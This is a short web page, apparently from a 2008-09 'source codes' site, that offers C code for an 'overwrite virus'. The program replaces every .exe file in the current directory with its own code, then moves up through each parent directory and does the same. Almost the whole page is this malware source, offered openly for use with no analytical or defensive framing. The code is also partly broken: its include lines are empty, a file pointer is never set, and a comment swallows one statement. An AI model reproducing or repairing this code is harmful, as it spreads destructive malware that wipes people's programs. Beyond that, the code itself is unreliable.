C++ Virus 2

It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory

#include 

#include 

#include 

void main(int argc,char *argv[]) 

{

 int bytes,i,done; 

FILE *virus,*host; 

struct ffblk *f; 

char buffer[512]; 

do 

{  

done=findfirst("*.exe",f,0);  

while(!done)  

{   

virus=fopen(argv[0],"rb");

//open the virus in read mode   host=fopen(f->ff_name,"rb+");

//open the host file in r/w mode     

for(;

fread(buffer,512,1,virus)==1;)     

fwrite(buffer,512,1,host);   

fclose(host); 

  fseek(virus,0,0);

//points to begining of virus   

printf("infecting %s  ",f->ff_name);   

done=findnext(f);  

 } 

} 

while(!chdir("..")); 

printf("©2008-09 ACCESS THE XPERIA™ --Source codes world--");